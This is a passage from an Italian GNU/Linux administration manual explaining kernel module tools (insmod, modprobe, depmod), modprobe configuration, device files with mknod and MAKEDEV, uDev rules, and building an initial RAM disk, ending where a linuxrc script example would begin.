I moduli sono generalmente file che terminano con l'estensione '`.ko`' e si collocano al di sotto della directory '`/lib/modules/`***versione***`/`', dove la versione si riferisce al kernel per il quale sono stati predisposti. Per esempio, '`/lib/modules/2.6.23.1/`', si riferisce ai moduli del kernel 2.6.23.1. Per facilitare l'individuazione e il caricamento dei moduli, viene creato generalmente un file, '`modules.dep`', nella directory iniziale di questi, attraverso il programma '**`depmod`**':

`#` **`depmod -a`** [*Invio*]

Il file contiene l'elenco dei moduli presenti, con l'indicazione precisa delle dipendenze. L'esempio seguente mostra il caso del modulo della scheda di rete NE2000, '`ne.ko`', il quale dipende dal modulo '`8390.ko`'.

```
kernel/drivers/net/ne.ko: kernel/drivers/net/8390p.ko
```

Invece di caricare i moduli con il programma '**`insmod`**', cosa che richiede attenzione nella sequenza di caricamento a causa delle dipendenze, si può utilizzare '**`modprobe`**' che si avvale del file '`modules.dep`' e si arrangia a caricare tutto quello che serve nel modo corretto. Per esempio, utilizzando il comando seguente si ottiene prima il caricamento del modulo '`8390.ko`' e successivamente di '`ne.ko`':

`#` **`modprobe ne`** [*Invio*]

8.6.2 Parametri

Come accade già con la porzione principale del kernel, alcuni dispositivi possono essere individuati e gestiti correttamente solo se si forniscono delle informazioni aggiuntive. Per questo, alcuni moduli richiedono l'indicazione di parametri composti dalla sintassi seguente:

simbolo [=***valore***]

Quando si caricano i moduli di questo tipo con '**insmod**' è necessario fornire anche i parametri, nella parte finale della riga di comando. La stessa cosa vale per '**modprobe**', solo che in questo caso si può realizzare un file di configurazione, '`/etc/modprobe.conf`' oppure '`/etc/modprobe.d/....conf`', contenente le informazioni sui parametri dei moduli utilizzati e altre indicazioni eventuali.

Per esempio, attraverso la riga seguente del file '`/etc/modprobe.conf`' o in un altro file della directory '/etc/modprobe.d</', si vuole specificare che l'indirizzo di I/O del dispositivo relativo al modulo '`ne.ko`' è 300_{16}:

```
options ne io=0x0300
```

8.6.3 Utilizzo di «insmod»

Il programma '**insmod**' permette di caricare un modulo nel kernel. Il nome del modulo può essere indicato specificando il nome del file completo di estensione ed eventualmente di percorso (*path*), oppure specificando semplicemente il nome del file del modulo senza l'estensione: in questo ultimo caso, '**insmod**' cerca il file (con la sua estensione naturale) all'interno delle directory standard per i moduli.

```
insmod [opzioni] file_oggetto [simbolo=valore...]
```

Quando nel kernel è attivata la gestione del *kernel daemon* e il demone '**kerneld**' è in funzione, non dovrebbe essere necessario l'utilizzo di '**insmod**' per caricare i moduli. Segue la descrizione di alcuni esempi.

- `#` **`insmod /lib/modules/2.6.23.1/kernel/drivers/net/plip.ko`** [*Invio*]

  Attiva il modulo '**plip**' rappresentato dal file '`/lib/modules/2.6.23.1/kernel/drivers/net/plip.ko`'.

- `#` **`insmod plip`** [*Invio*]

  Come nell'esempio precedente, ma si lascia a '**insmod**' il compito di cercare il file.

8.6.4 Utilizzo di «rmmod»

Il programma '**rmmod**' permette di scaricare uno o più moduli dal kernel, sempre che questi non siano in uso e non ci siano altri moduli caricati che vi fanno riferimento.

```
rmmod [opzioni] modulo...
```

Nella riga di comando vengono indicati i nomi dei moduli e non i nomi dei file dei moduli. Se vengono indicati più moduli, questi vengono scaricati nell'ordine in cui appaiono. Se viene usata l'opzione '**-a**', senza indicare nomi di moduli, vengono scaricati tutti i moduli che risultano essere inattivi. Segue la descrizione di alcuni esempi.

- # **rmmod plip** [*Invio*]

  Scarica il modulo '**plip**'.

- # **rmmod -a** [*Invio*]

  Scarica tutti i moduli inutilizzati.

8.6.5 Utilizzo di «lsmod»

Il programma '**lsmod**' permette di visualizzare la situazione sull'utilizzo dei moduli. Le stesse informazioni ottenibili da '**lsmod**' si possono avere dal contenuto del file '`/proc/modules`'. Utilizzando '**lsmod**' si ottiene una tabellina di tre colonne:

'**Module**'	rappresenta il nome del modulo;
'**Pages**'	rappresenta il numero di pagine di memoria utilizzate (una pagina è un blocco di 4 Kibyte);
'**Used by**'	rappresenta l'utilizzo da parte di altri moduli (lo zero indica che non è utilizzato).

Ecco cosa potrebbe apparire:

lsmod [*Invio*]

```
Module                  Size  Used by
nfsd                  205680  13
exportfs                6528  1 nfsd
…
parport_pc             33956  1
parport                34888  2 lp,parport_pc
psmouse                35976  0
…
atl1                   33676  0
mii                     6272  1 atl1
nfs                   225132  0
lockd                  59528  3 nfsd,nfs
nfs_acl                 4480  2 nfsd,nfs
sunrpc                156508  10 nfsd,nfs,lockd,nfs_acl
msdos                  10112  0
vfat                   13056  0
fat                    49564  2 msdos,vfat
…
intel_agp              23964  1
agpgart                33228  1 intel_agp
```

8.6.6 Utilizzo di «depmod»

Il programma '**depmod**' serve a generare un file di dipendenze tra i moduli, che poi viene utilizzato da '**modprobe**' per caricarli rispettando le dipendenze. Precisamente, viene creato il file '/lib/modules/*versione*/modules.dep'.

```
depmod [opzioni]
```

Tabella 8.44. Alcune opzioni.

Opzione	Descrizione
-a [*versione*] --all [*versione*]	Scandisce tutti i moduli della versione del kernel in funzione. '**depmod**' viene utilizzato generalmente con questa opzione per creare il file delle dipendenze. Se si desidera creare il file delle dipendenze per i moduli di un'altra versione di kernel, si può specificare espressamente tale versione.
-s --system-log	Invia le segnalazioni di errore al registro del sistema.

Segue la descrizione di alcuni esempi.

- # **depmod -a** [*Invio*]

  Genera il file '/lib/modules/*versione*/modules.dep'.

- # **depmod -a 2.6.23.1** [*Invio*]

  Genera il file '/lib/modules/2.6.23.1/modules.dep', riferito appunto ai moduli del kernel della versione 2.6.23.1.

  ```
  if [ -x /sbin/depmod ]
  then
      echo "Analisi delle dipendenze tra i moduli"
      /sbin/depmod -a
  fi
  ```

  Si tratta di un pezzo di uno degli script della procedura di inizializzazione del sistema, in cui si avvia la generazione del file delle dipendenze tra i moduli solo se il programma esiste.

8.6.7 Utilizzo di «modprobe»

Il programma '**modprobe**' è fatto per agevolare il caricamento dei moduli del kernel.

```
modprobe [opzioni] file_oggetto [simbolo=valore...]
```

Quando viene usato senza l'indicazione di alcuna opzione, cioè solo con il nome del modulo e l'eventuale aggiunta dei parametri, '**modprobe**' carica prima i moduli necessari a soddisfare

le dipendenze, quindi provvede al caricamento del modulo richiesto. Se l'operazione fallisce, tutti i moduli superflui vengono scaricati nuovamente.

Tra le altre cose, '**modprobe**' permette di tentare il caricamento del modulo «giusto» a partire da un gruppo, quando non si conosce bene quale sia il modulo adatto a un certo tipo di dispositivo o di servizio. Per farlo è necessario indicare il tipo di modulo e il modello. Il tipo è rappresentato dalla directory che lo contiene ('fs/', 'misc/', 'net/', 'scsi/', ecc.) e il modello si esprime utilizzando i consueti caratteri jolly ('**?**' e '*****').

Il programma '**modprobe**' fa uso di uno o più file di configurazione, attraverso cui è possibile modificare le sue impostazioni predefinite e in particolare si possono definire i parametri normali necessari ad alcuni tipi di moduli. Il file in questione è '/etc/modprobe.conf', oppure l'insieme dei file contenuti nella directory '/etc/modprobe.d/'.

Tabella 8.46. Alcune opzioni.

Opzione	Descrizione
-a --all	Carica tutti i moduli (generalmente non viene utilizzata questa opzione).
-c --show-conf	Emette la configurazione attuale per la gestione dei moduli; ciò comprende sia la parte predefinita, sia il contenuto dei file di configurazione ('/etc/modules.conf' oppure la directory '/etc/modprobe.d/').
-l --list	Elenca i moduli disponibili.
-r --remove	Scarica i moduli dal kernel, eliminando anche quelli che sono stati caricati per soddisfare le dipendenze, sempre che ciò sia possibile.
-t ***tipo modello*** --type ***tipo modello***	Permette di definire il tipo di modulo, attraverso il nome usato per la directory che lo contiene ('fs/', 'misc/', 'net/', 'scsi/',...) e attraverso un modello espresso con dei caratteri jolly. Utilizzando questa opzione, occorre fare attenzione a proteggere i caratteri jolly dall'interpretazione da parte della shell, per esempio con l'uso di apici singoli o doppi.

Segue la descrizione di alcuni esempi.

- # **modprobe -l** [*Invio*]

  Elenca tutti i moduli disponibili.

- # **modprobe -l -t net** [*Invio*]

  Elenca tutti i moduli di tipo '**net**', cioè quelli contenuti nella directory omonima.

- # **modprobe -l -t net '3c*'** [*Invio*]

  Elenca i moduli il cui nome inizia per '**3c**', di tipo '**net**'; in pratica elenca i moduli delle schede di rete 3Com.

- # **modprobe -c** [*Invio*]

Emette la configurazione attuale della gestione dei moduli di '**`modprobe`**'.

- `#` **`modprobe plip`** [*Invio*]

  Carica il modulo '`/lib/modules/`***versione***`/kernel/drivers/net/plip.ko`'.

- `#` **`modprobe -t net 'p*'`** [*Invio*]

  Tenta di caricare un modulo che inizi con la lettera '**`p`**', dalla directory '`/lib/modules/`***versione***`/kernel/drivers/net/`'.

8.7 Configurazione dei moduli

Il file '`/etc/modprobe.conf`', ovvero l'insieme di file contenuto nella directory '`/etc/modprobe.d/`', permette di configurare il comportamento di '**`modprobe`**'. Le righe vuote e quanto preceduto dal simbolo '**`#`**' viene ignorato. Le righe possono essere continuate utilizzando la barra obliqua inversa ('**`\`**') alla fine, subito prima del codice di interruzione di riga.

Le righe di questo file vengono interpretate attraverso una shell, permettendo così di utilizzare le tecniche di sostituzione fornite comunemente da queste, come i caratteri jolly e con la sostituzione di comando.

Questo file di configurazione può contenere diversi tipi di direttive; nelle sezioni seguenti se ne mostrano solo alcune. Per la descrizione completa si veda la pagina di manuale *depmod(1)*.

In linea di massima, si possono accumulare più direttive dello stesso tipo.

8.7.1 Direttiva alias

La direttiva '**`alias`**' permette di indicare un nome alternativo a un nome di un modulo reale:

```
alias alias modulo_reale
```

Ciò può essere utile a vario titolo e in ogni caso sono stabiliti molti alias già in modo predefinito. Lo si può osservare con il comando seguente:

`#` **`modprobe -c`** [*Invio*]

```
…
alias block-major-2 floppy
alias block-major-3 ide-probe-mod
…
alias char-major-4 serial
alias char-major-5 serial
alias char-major-6 lp
…
alias dos msdos
…
alias iso9660 isofs
…
alias plip0 plip
alias plip1 plip
alias ppp0 ppp
alias ppp1 ppp
…
```

In questo caso, si può osservare che è possibile fare riferimento al modulo '**isofs**' anche attraverso il nome '**iso9660**'. Tuttavia, gli alias non sono semplicemente di aiuto agli «smemorati», ma anche una necessità. Si osservi la configurazione seguente tratta da un ipotetico file '/etc/modprobe.conf'.

```
alias eth0 ne
…
```

L'alias '**eth0**' (ovvero la prima interfaccia Ethernet) permette di fare in modo che, quando si configura l'interfaccia di rete con '**ifconfig**' venga avviato automaticamente il modulo corretto: in questo caso '**ne**'.

Ogni modulo ha le sue particolarità, quindi deve essere valutata caso per caso l'opportunità di utilizzare un alias adatto a qualche scopo.

8.7.2 Direttiva options

La direttiva '**options**' permette di definire i parametri di utilizzo di un modulo, identificato attraverso il suo nome reale, oppure un alias:

options ***nome*** ***simbolo***=***valore***...

L'esempio seguente definisce che il modulo '**ne**' (Ethernet NE2000) deve essere utilizzato per un dispositivo che si raggiunge con il canale di I/O 300_{16} e l'IRQ 11:

```
alias eth0 ne
options ne io=0x300 irq=11
```

Attraverso questa direttiva si indicano solo le opzioni che non possono essere determinate altrimenti dal sistema. Questo significa che **non** è necessaria una riga '**options**' per tutti i dispositivi che si intende utilizzare attraverso i moduli.

8.8 File di dispositivo

Nei sistemi Unix, come GNU/Linux, il kernel permette alle applicazioni di comunicare con le unità fisiche, ovvero i dispositivi, attraverso un'astrazione costituita dai ***file di dispositivo***. Questi file sono di tipo speciale e tradizionalmente sono contenuti all'interno della directory '`/dev/`' (si veda anche la sezione 22.16). La particolarità di questi file sta nella definizione di due numeri che, in pratica, costituiscono il canale di comunicazione con il kernel stesso. Si tratta del numero ***primario*** e del numero ***secondario*** (oppure *major* e *minor*, secondo la terminologia originale inglese), dove il primo rappresenta il tipo di dispositivo e il secondo serve a identificare esattamente un dispositivo particolare. Questi numeri dipendono dal kernel e di conseguenza possono variare da un sistema operativo Unix all'altro. Anche i nomi che si danno a questi file possono variare da un sistema Unix all'altro; in certi casi ci sono piccole differenze anche tra le stesse distribuzioni GNU/Linux. In ogni caso, il documento di riferimento per ciò che riguarda GNU/Linux, è il file '***sorgenti_linux***`/Documentation/devices.txt`', corrispondente a *Linux allocated devices*, aggiornato da H. Peter Anvin.

Dal momento che questi file servono solo in quanto contengono i numeri primario e secondario di un certo dispositivo, potrebbero funzionare anche collocati al di fuori della loro directory tradizionale, utilizzando eventualmente nomi differenti. Questa possibilità viene sfruttata da alcune distribuzioni GNU/Linux, nella fase di installazione, quando nel sistema di avvio vengono creati al volo i file di dispositivo necessari a completare l'operazione, utilizzando eventualmente la directory temporanea per questo scopo.

I file di dispositivo si distinguono in due categorie, in base al fatto che l'hardware a cui corrispondono sia in grado di gestire un flusso di caratteri (ma forse è più corretto usare il termine byte in questo caso), presi ognuno singolarmente, oppure richieda che i dati siano raggruppati in blocchi di una dimensione determinata. Nel primo caso si parla di dispositivo a caratteri, mentre nel secondo di dispositivo a blocchi.

Dato che i dispositivi fisici sono gestiti attraverso questi file di dispositivo, l'accesso all'hardware viene controllato con i permessi che vengono dati a questi file. La gestione di questi permessi è molto importante nell'impostazione che viene data al sistema ed è uno dei punti su cui si trovano le differenze significative tra le varie distribuzioni GNU/Linux. Inoltre, l'esistenza di utenti e gruppi fittizi, con nomi come '**`floppy`**', '**`sys`**', '**`daemon`**' e altri, dipende spesso da questa esigenza di controllo dell'accesso ai dispositivi.

8.8.1 Creazione dei file di dispositivo

Quando si ricompila il kernel per includere la gestione di funzionalità particolari, per accedere a queste, o per accedere ai componenti fisici per i quali è stata stabilita la gestione, può essere necessario intervenire nella directory '`/dev/`' allo scopo di creare o modificare qualche file di dispositivo. In generale, le distribuzioni GNU/Linux tendono a prevedere tutti i file necessari, ma la stessa evoluzione del kernel introduce esigenze nuove e spesso la necessità di provvedere da soli a questi file. Inoltre, è difficile che siano disponibili dal principio tutti i file di dispositivo possibili e immaginabili.

I file di dispositivo si creano in particolare con il programma di servizio '**`mknod`**':

```
mknod [-m modalità_dei_permessi] file {b|c|u} [n_primario n_secondario]
```

Con la lettera «b» si crea un file di dispositivo a blocchi, mentre con la lettera «c», si crea un file di dispositivo a caratteri. Il caso particolare della lettera «u», riguarda un dispositivo a caratteri senza *buffer*.

Si osservino gli esempi seguenti:

- `# **mknod -m 0600 /dev/tty9 c 4 9**` [*Invio*]

  crea il file di dispositivo a caratteri '`/dev/tty9`', concedendo soltanto i permessi di lettura e di scrittura al proprietario;

- `# **mknod -m 0660 /dev/hda1 b 3 1**` [*Invio*]

  crea il file di dispositivo a blocchi '`/dev/hda1`', concedendo i permessi di lettura e scrittura all'utente proprietario e al gruppo.

Anche se '**`mknod`**' è tutto quello che serve per creare i file di dispositivo necessari, non è sempre il mezzo più comodo per provvedere a questo problema. Infatti, occorre considerare anche le convenzioni della propria distribuzione GNU/Linux, anche per ciò che riguarda i permessi e l'appartenenza di questi file; inoltre non è sempre detto che si possano ricordare esattamente le caratteristiche dei file di dispositivo di cui si ha bisogno. Per questo viene in aiuto lo script '**`MAKEDEV`**', che tradizionalmente si deve trovare proprio nella directory '`/dev/`'. Questo script non è standard, ma il suo scopo lo è: facilitare la creazione dei file di dispositivo.

```
/dev/MAKEDEV {dispositivo... | gruppo}
```

Generalmente si possono indicare come argomento uno o più nomi di file di dispositivo, senza il percorso. Questi dovrebbero essere creati nella directory corrente. L'esempio seguente crea il file di dispositivo corrispondente alla prima console virtuale, assegnandogli tutti gli altri attributi corretti:

`# **/dev/MAKEDEV tty1**` [*Invio*]

L'esempio successivo crea il file di dispositivo corrispondente al primo disco fisso ATA, assegnandogli tutti gli altri attributi corretti:

`# **/dev/MAKEDEV hda**` [*Invio*]

È probabile che, al posto dei nomi dei file di dispositivo, si possano usare nomi di gruppi di questi. Per esempio, lo script '**`MAKEDEV`**' della distribuzione GNU/Linux Debian prevede il gruppo '**`generic`**' per fare riferimento ai file di dispositivo più comuni:

`# **/dev/MAKEDEV generic**` [*Invio*]

8.8.2 kernel Linux e uDev

uDev è un sistema, esterno al kernel Linux, che consente di generare automaticamente i file di dispositivo nella directory '`/dev/`', nel momento in cui i dispositivi reali si rendono disponibili. Il sistema uDev si avvale del demone '**`udevd`**', il quale utilizza le informazioni fornite dai file system virtuali '`/proc/`' e '`/sys/`'. Perché il file system virtuale '`/sys/`' venga innestato correttamente, occorre verificare che il file '`/etc/fstab`' contenga la dichiarazione appropriata, molto simile a quella del file system virtuale '`/proc/`':

```
…
proc    /proc           proc    defaults        0   0
none    /proc/bus/usb   usbfs   defaults        0   0
sys     /sys            sysfs   defaults        0   0
…
```

L'esempio mostra anche gli altri file system virtuali comuni.

uDev utilizza alcuni file di configurazione che normalmente si collocano nella directory '/etc/udev/'. Il primo file da prendere in considerazione è '/etc/udev/udev.conf', il quale, di solito, viene distribuito già configurato correttamente. Ecco un esempio del suo contenuto:

```
# udev.conf

# The initial syslog(3) priority: "err", "info", "debug" or its
# numerical equivalent. For runtime debugging, the daemons internal
# state can be changed with: "udevcontrol log_priority=<value>".
udev_log="err"

# maximum size of the /dev tmpfs
tmpfs_size="10M"
```

Per definire le caratteristiche dei file di dispositivo da creare, inclusi i loro permessi di accesso, si utilizzano i file contenuti nella directory '/etc/udev/rules.d/', i quali vengono «eseguiti» secondo l'ordine lessicografico del loro nome. Per questo, di norma si tratta di collegamenti simbolici a file contenuti nella directory '/etc/udev/', che però hanno nomi che non tengono conto dell'ordine di esecuzione.

La sintassi con cui sono definite le direttive all'interno dei file a cui si fa riferimento nella directory '/etc/udev/rules.d/' è piuttosto oscura, anche se si può intuire il senso di ciò che rappresenta. Per intervenire in qualche modo nei file di dispositivo, attraverso la gestione di uDev, bisognerebbe creare un proprio file, scegliendo un nome appropriato alla posizione in cui deve trovarsi nella sequenza di esecuzione. Tuttavia, ci sarebbe anche la possibilità di usare il file '/etc/udev/links.conf' per cose molto semplici: creazione di collegamenti simbolici, directory e file di dispositivo particolari. L'uso di questo file viene sconsigliato, ma è bene sapere come si interpreta, se dovesse essercene uno predefinito.

```
# This file does not exist.
# Please do not ask the debian maintainer about it.
# You may use it to do strange and wonderful things, at your risk.

L fd            /proc/self/fd
L stdin         /proc/self/fd/0
L stdout        /proc/self/fd/1
L stderr        /proc/self/fd/2
L core          /proc/kcore
L sndstat       /proc/asound/oss/sndstat

D pts
```

```
D shm

M null          c   1 3
M console       c   5 1

# Hic sunt leones.
M ppp           c 108 0
D loop
M loop/0        b   7 0
D net
M net/tun       c  10 200
```

L'esempio appena mostrato dovrebbe essere abbastanza intuitivo: le righe che iniziano con la lettera «L» richiedono la creazione di un collegamento simbolico (*link*); le righe che iniziano con la lettera «D» richiedono la creazione di una directory; le righe con la lettera «M» richiedono la creazione di un file di dispositivo.

Per quanto riguarda l'avvio e l'arresto del demone '**udevd**', è auspicabile che la propria distribuzione GNU/Linux sia già organizzata per questo. A ogni modo, si intuisce che questo demone deve essere avviato molto presto nell'ambito della procedura di avvio del sistema e deve anche essere fermato solo alla fine della procedura di arresto.

Dal momento che uDev è un sistema esterno al kernel, durante la fase di avvio, c'è sicuramente un momento in cui il kernel ha innestato il file system principale, ma uDev non è ancora in funzione. Per questa ragione, è indispensabile che la directory '`/dev/`', contenga inizialmente i file di dispositivo comuni, altrimenti diventa praticamente impossibile avviare il sistema.
Successivamente, una volta attivato uDev, il contenuto della directory '`/dev/`' originale diventa accessibile a partire da '`/dev/.static/dev/`', dove è possibile intervenire per modificare i file di dispositivo statici iniziali.

I file contenuti nella directory '`/etc/udev/rules.d/`' consentono di associare un'azione agli eventi di uDev. Per esempio, alla comparsa di un file di dispositivo è possibile associargli la modifica dei permessi, ma si arriva anche a poter associare l'avvio di un processo che abbia qualcosa a che fare con questo.

A titolo di esempio, si supponga di voler attribuire i permessi di lettura e scrittura, per tutti gli utenti, ai file di dispositivo che hanno a che fare con la gestione dell'audio, ai file relativi a dischetti e dischi ottici. Si comincia esplorando la situazione della directory '`/etc/udev/rules.d/`':

`# ls /dev/udev/rules.d` [*Invio*]

```
…
020_permissions.rules
025_libgphoto2.rules
025_libsane.rules
85-pcmcia.rules
udev.rules
z20_persistent-input.rules
z20_persistent.rules
z25_persistent-net.rules
z45_persistent-net-generator.rules
z50_run.rules
z55_hotplug.rules
z60_hdparm.rules
z60_xserver-xorg-input-wacom.rules
…
```

Tra le direttive di questi file, ci potrebbero essere già quelle che si prendono cura dei file di dispositivo a cui si è interessati. Ma per questo, conviene aggiungere un altro file, in modo che appaia per ultimo, secondo l'ordine lessicografico. Per esempio: '`z90_permessi-a-tutti.rules`'. Il file in questione potrebbe essere realizzato nel modo seguente:

```
ACTION=="add", SUBSYSTEM=="sound",                                        MODE="0666"
ACTION=="add", SUBSYSTEM=="block", KERNEL=="fd[0-9]*",                    MODE="0666"
ACTION=="add", SUBSYSTEM=="block", KERNEL=="hd[a-z]", DRIVERS=="ide-cdrom", MODE="0666"
```

Intuitivamente si comprende che le direttive di questi file sono composte da un elenco di attributi che servono a identificare i file di dispositivo a cui si è interessati e l'evento considerato, seguito dall'azione da compiere. In questo caso, l'azione da compiere è rappresentata dalla voce '**`MODE="0666"`**', che attribuisce i permessi di lettura e scrittura a tutti gli utenti.

Per vedere come si associa l'esecuzione di un programma a un evento dei file di dispositivo, si pensi a una stampante collegata attraverso una porta USB: quando si collega la stampante viene creato automaticamente il file di dispositivo '`/dev/usb/lp0`', mentre quando la si stacca, questo file viene eliminato. Se si usa un demone per il servizio di stampa che non è preparato per queste sorprese, occorre aggiungere un altro file con delle direttive appropriate. Per esempio potrebbe trattarsi del file '`z90_stampante-usb.rules`':

```
#
# Reload "lpd" when adding a printer.
#
ACTION=="add",    SUBSYSTEMS=="usb", KERNEL=="lp[0-9]*", RUN+="/etc/init.d/lpd restart"
#
# Reload "lpd" when removing a printer.
#
ACTION=="remove", SUBSYSTEMS=="usb", KERNEL=="lp[0-9]*", RUN+="/etc/init.d/lpd restart"
#
```

In pratica, in questo esempio si fa in modo che venga eseguito il comando '**`/etc/init.d/lpd restart`**' quando ci sono novità sui file di dispositivo per la stampa.

Si osservi che le direttive riferite a eventi di creazione dei file di dispositivo ('**ACTION="add"**') devono precedere quelle riferite a eventi di eliminazione degli stessi ('**ACTION="remove"**').

È importante osservare che i programmi o gli script che si avviano attraverso la gestione degli eventi di uDev non possono essere troppo impegnativi, altrimenti c'è il rischio di bloccare il sistema.

8.8.3 Messaggio: «unable to open an initial console»

Quando si utilizzano dei meccanismi automatici per la gestione dei file di dispositivo, può succedere che qualcosa non funzioni nel modo previsto. In particolare, può capitare che all'avvio il kernel non riesca a trovare il file di dispositivo '`/dev/console`', cosa che si traduce nel messaggio di avvertimento seguente:

```
...
Warning: unable to open an initial console
...
```

Per poter comprendere cosa accade, è necessario avviare il sistema attraverso un'unità esterna (CD/DVD autoavviabili, memorie solide o simili), con il quale si può indagare sullo stato iniziale della directory '`/dev/`' (si intende la directory '`/dev/`' del file system che è in funzione quando si tenta di avviare il sistema operativo senza successo). Se questa è vuota, come può succedere se ci si affida a uDev o a Devfs, conviene predisporre manualmente dei file di dispositivo al suo interno, che vengono utilizzati in mancanza del funzionamento (tempestivo) dei sistemi automatici.

Se si dispone dello script '**MAKEDEV**', dovrebbe essere sufficiente il comando seguente, da eseguire quando la directory corrente corrisponde alla directory '`dev/`' che si intende sistemare:

./MAKEDEV generic [*Invio*]

Naturalmente, se lo script '**MAKEDEV**' non si trova nella stessa directory, ma altrove, si deve specificare il percorso di avvio appropriato.

8.9 Disco RAM iniziale: Initrd

Un disco RAM iniziale, noto con il nome Initrd, è un file system speciale che viene realizzato in modo da essere innestato inizialmente dal kernel Linux, allo scopo di avviare un sistema minimo, con cui eseguire alcune operazioni preliminari. Al termine di queste operazioni, normalmente il sistema contenuto nel disco RAM iniziale innesta il file system standard e passa il controllo al programma Init.

La tecnica del disco RAM iniziale viene usata solitamente per caricare dei moduli prima di innestare il file system definitivo, per esempio quando il kernel richiede un modulo speciale per accedere a tale file system.

Si osservi che la realizzazione di un disco RAM iniziale è un'operazione complessa, dove occorre avere la capacità di realizzare un sistema GNU/Linux elementare, ma perfettamente autonomo.

La definizione «disco RAM» ovvero «RAM disk» deriva dalla presunzione che la memoria di massa sia costituita da un'unità a disco. La tecnologia si evolve e, oltre ai dischi, esistono altre forme di memorizzazione basate su componenti allo stato solido; tuttavia, spesso la terminologia rimane ancorata alla tecnologia del passato. Pertanto, pur chiamandosi disco RAM, si intende un file system caricato in memoria centrale, come se fosse un'unità di memorizzazione di massa.

8.9.1 Teoria e visione generale

La gestione del disco RAM iniziale deve essere abilitata nel kernel (sezione 8.3.10). Il file system del disco RAM che si realizza deve contenere il programma o lo script '**`linuxrc`**', collocato nella directory radice. Questo programma deve svolgere tutte le funzioni che si desiderano, quindi deve innestare il file system principale previsto, spostando la directory radice all'inizio di questo, avviando lì il programma Init ('`/sbin/init`').

Il kernel Linux deve essere avviato specificando il file system principale, il nome del programma Init, fornendo anche l'indicazione della collocazione del file-immagine contenente il disco RAM iniziale. Le prime due informazioni si possono dare facilmente tra le opzioni di avvio del kernel e dovrebbero corrispondere alle stringhe seguenti:

```
root=/dev/ram0 init=/linuxrc rw
```

Si osservi che il disco RAM iniziale deve essere accessibile inizialmente anche in scrittura, così come suggerisce il modello mostrato sopra con l'opzione '**`rw`**'.

Teoricamente, l'indicazione della collocazione del disco RAM iniziale potrebbe essere data «manualmente» tra le opzioni di avvio del kernel, però in pratica diventa difficile esprimere un percorso in un disco che è ancora da innestare, pertanto si usa normalmente una direttiva separata attraverso il sistema di avvio prescelto. Vengono mostrati alcuni esempi della configurazione di sistemi di avvio comuni.

Listato 8.57. GRUB 1: il file-immagine '`initrd.gz`' si trova nella directory '`/boot/`' della seconda partizione del primo disco.

```
title linux
kernel (hd0,1)/boot/vmlinuz root=/dev/ram0 init=/linuxrc rw
initrd (hd0,1)/boot/initrd.gz
```

Listato 8.58. SYSLINUX: il file-immagine '`initrd.gz`' si trova nella directory principale della partizione in cui si trovano i file di avvio.

```
LABEL linux
    KERNEL vmlinuz
    APPEND root=/dev/ram0 init=/linuxrc rw initrd=initrd.gz
```

Listato 8.59. ISOLINUX: il file-immagine '`initrd.gz`' si trova nella directory '`/isolinux/`' del CD-ROM.

```
LABEL linux
    KERNEL vmlinuz
    APPEND root=/dev/ram0 init=/linuxrc rw initrd=initrd.gz
```

Si può vedere il disco RAM iniziale, come un file system contenente fondamentalmente un programma Init, che convenzionalmente corrisponde a '`/linuxrc`'. La difficoltà sta nel ridurre al minimo il sistema di questo disco RAM; eventualmente il file '`/linuxrc`' potrebbe essere un programma realizzato appositamente, senza bisogno di altro.

Una volta che il programma o lo script '`/linuxrc`' ha compiuto il suo lavoro, questo deve innestare il file system che deve in seguito diventare quello principale, in una directory, quindi deve eseguire la funzione ***pivot_root()*** (si veda la pagina di manuale *pivot_root(2)*) per scambiare i ruoli.

Figura 8.60. Scambio della directory principale e avvio del programma Init.

PRIMA

```
cd /nuova-root
pivot_root . initrd
```

DOPO

```
exec chroot . /sbin/init < dev/console > dev/console 2>&1
```

Convenzionalmente, la directory '`/initrd/`' è quella che viene usata per lo scambio delle directory principali, in modo da ospitare il file system del disco RAM iniziale. Al termine, teoricamente, è possibile eseguire anche il distacco del disco RAM iniziale e liberare la memoria che lo contiene:

`#` **`umount /initrd`** [*Invio*]

`#` **`blockdev --flushbufs /dev/ram0`** [*Invio*]

In mancanza della possibilità di realizzare un programma '**`linuxrc`**' fatto su misura, la fun-

zione ***pivot_root()*** può essere richiamata attraverso il programma '**`pivot_root`**',[4] che fa parte del pacchetto Util-linux; anche il programma '**`blockdev`**'[5] fa parte dello stesso pacchetto.

8.9.2 Creazione automatica di un disco RAM iniziale

Esiste il pacchetto Initrd tools[6] che dovrebbe consentire di realizzare automaticamente un file-immagine da usare come disco RAM iniziale. Teoricamente, il comando seguente dovrebbe essere sufficiente per ottenere il risultato; si veda comunque la pagina di manuale *mkinitrd(8)* per studiare il suo utilizzo.

```
mkinitrd [opzioni]
```

Il pacchetto Initrd tools può essere molto utile se risulta già predisposto correttamente secondo l'organizzazione della propria distribuzione GNU/Linux. Diversamente, richiede la preparazione di una configurazione e probabilmente diventa più conveniente produrre a mano il proprio disco RAM iniziale.

8.9.3 Esempio di un disco RAM iniziale

Per comprendere il funzionamento di un disco RAM iniziale è necessario mostrare un esempio completo, che in parte si adegua al contenuto della figura 8.60. Si comincia preparando la struttura del file system del disco RAM a partire da una directory di lavoro:

`cd` [*Invio*]

`mkdir radice-initrd` [*Invio*]

`cd radice-initrd` [*Invio*]

`mkdir bin dev etc lib proc nuova-root` [*Invio*]

Si copiano i programmi che si ritiene siano indispensabili:

`cp /bin/dash /bin/mkdir /bin/mount ./bin` [*Invio*]

`cp /sbin/insmod /sbin/pivot_root ./bin` [*Invio*]

`cp /usr/sbin/chroot ./bin` [*Invio*]

In questo caso la shell è Dash e si preparano alcuni collegamenti simbolici:

`cd ./bin` [*Invio*]

`ln -s dash ash` [*Invio*]

`ln -s dash sh` [*Invio*]

`cd ..` [*Invio*]

Con l'aiuto di '**`ldd`**' si individuano i file delle librerie che richiedono i programmi copiati e si copiano a loro volta le librerie necessarie:

```
# cp /lib/libc.so.6 /lib/ld-linux.so.2 ./lib [Invio]
```

Si crea un file '/etc/fstab' minimo:

```
# echo "/dev/ram0 / auto defaults 0 0" > etc/fstab [Invio]
```

Si copiano i file dei moduli necessari (viene omesso il passaggio), quindi si creano i file di dispositivo che possono servire; qui viene usato lo script '**MAKEDEV**':

```
# cd ./dev [Invio]

# /dev/MAKEDEV console [Invio]

# /dev/MAKEDEV null [Invio]

# /dev/MAKEDEV zero [Invio]

# /dev/MAKEDEV ram [Invio]

# /dev/MAKEDEV hd [Invio]

# /dev/MAKEDEV sd [Invio]

# cd .. [Invio]
```

Alla fine, si comincia la realizzazione dello script '**linuxrc**', da collocare all'inizio della gerarchia ('/linuxrc'). Inizialmente, per verificare il funzionamento di massima del sistema, conviene fare una cosa molto semplice, come potrebbe essere questa:

```
